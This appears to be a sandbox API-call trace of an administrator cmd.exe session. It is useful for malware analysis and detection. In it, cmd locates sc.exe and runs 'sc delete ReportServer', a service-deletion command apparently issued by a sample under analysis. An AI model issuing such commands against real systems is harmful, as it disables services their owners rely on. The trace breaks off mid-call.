lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.924] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.924] GetProcessHeap () returned 0x1b0000 [0065.924] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.924] GetProcessHeap () returned 0x1b0000 [0065.924] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.924] GetProcessHeap () returned 0x1b0000 [0065.924] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.924] GetProcessHeap () returned 0x1b0000 [0065.924] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0065.924] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.924] GetProcessHeap () returned 0x1b0000 [0065.924] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0065.925] GetProcessHeap () returned 0x1b0000 [0065.925] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0065.925] GetProcessHeap () returned 0x1b0000 [0065.925] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0065.925] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.925] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.925] GetLastError () returned 0x2 [0065.925] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.925] GetLastError () returned 0x2 [0065.925] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.925] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.926] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.926] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.926] GetLastError () returned 0x2 [0065.926] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.926] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.927] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0065.927] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0065.927] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.927] GetProcessHeap () returned 0x1b0000 [0065.927] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0065.927] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.927] GetProcessHeap () returned 0x1b0000 [0065.927] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa6) returned 0x1c9180 [0065.927] GetProcessHeap () returned 0x1b0000 [0065.927] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa6 [0065.927] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ReportServer") returned 1 [0065.928] GetProcessHeap () returned 0x1b0000 [0065.928] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0065.928] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0065.928] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0065.928] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0065.928] GetProcessHeap () returned 0x1b0000 [0065.928] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0065.928] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0065.928] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0065.928] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0065.928] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0065.928] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.928] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.928] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0065.928] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0065.928] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0065.929] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.930] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0065.930] GetProcessHeap () returned 0x1b0000 [0065.930] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0065.930] GetProcessHeap () returned 0x1b0000 [0065.930] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0065.930] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ReportServer", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ReportServer", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete ReportServer", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x6c8, dwThreadId=0xb8c)) returned 1 [0065.933] CloseHandle (hObject=0x54) returned 1 [0065.934] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0065.934] GetProcessHeap () returned 0x1b0000 [0065.934] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.934] GetEnvironmentStringsW () returned 0x1cba10* [0065.934] GetProcessHeap () returned 0x1b0000 [0065.934] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0065.934] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0065.934] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0065.934] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdb000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0065.935] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0065.987] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0065.987] CloseHandle (hObject=0x50) returned 1 [0065.987] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0065.987] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0065.987] GetProcessHeap () returned 0x1b0000 [0065.987] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0065.987] GetEnvironmentStringsW () returned 0x1d1b10* [0065.987] GetProcessHeap () returned 0x1b0000 [0065.987] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0065.987] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0065.987] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0065.987] GetProcessHeap () returned 0x1b0000 [0065.987] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0065.987] GetEnvironmentStringsW () returned 0x1cba10* [0065.987] GetProcessHeap () returned 0x1b0000 [0065.987] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0065.987] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0065.987] GetProcessHeap () returned 0x1b0000 [0065.987] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0065.987] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0065.987] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0065.988] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.988] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0065.988] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.988] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0065.989] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.989] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0065.989] GetConsoleOutputCP () returned 0x1b5 [0065.989] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.989] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.989] GetProcessHeap () returned 0x1b0000 [0065.989] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0065.989] GetProcessHeap () returned 0x1b0000 [0065.989] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0065.989] GetProcessHeap () returned 0x1b0000 [0065.989] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.989] GetProcessHeap () returned 0x1b0000 [0065.989] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0065.989] GetProcessHeap () returned 0x1b0000 [0065.990] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0065.990] GetProcessHeap () returned 0x1b0000 [0065.990] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.990] GetProcessHeap () returned 0x1b0000 [0065.990] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0065.990] GetProcessHeap () returned 0x1b0000 [0065.990] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.990] GetProcessHeap () returned 0x1b0000 [0065.990] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.990] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.990] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.990] GetFileType (hFile=0x120) returned 0x3 [0065.990] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.990] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.990] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.990] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.990] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.990] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.990] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.991] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.991] GetFileType (hFile=0x120) returned 0x3 [0065.991] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.991] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.991] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.991] GetFileType (hFile=0xb8) returned 0x3 [0065.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.991] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.991] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete ReportServer\n0\nService\n\n") returned 1 [0065.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.991] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.991] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete ReportServer\n0\nService\n\n") returned 1 [0065.991] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.991] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.991] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete ReportServer\n0\nService\n\n") returned 1 [0065.992] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.992] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.992] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.992] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete ReportServer\n0\nService\n\n") returned 1 [0065.992] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.992] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.992] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.992] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete ReportServer\n0\nService\n\n") returned 1 [0065.992] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.992] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.992] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.992] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete ReportServer\n0\nService\n\n") returned 1 [0065.992] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.992] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.992] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.992] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete ReportServer\n0\nService\n\n") returned 1 [0065.992] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.992] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.992] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.992] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te ReportServer\n0\nService\n\n") returned 1 [0065.993] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.993] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.993] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.993] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e ReportServer\n0\nService\n\n") returned 1 [0065.993] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.993] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.993] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.993] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" ReportServer\n0\nService\n\n") returned 1 [0065.993] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.993] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.993] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.993] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"eportServer\n0\nService\n\n") returned 1 [0065.993] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.993] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.993] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.993] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SportServer\n0\nService\n\n") returned 1 [0065.993] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.993] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.993] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: 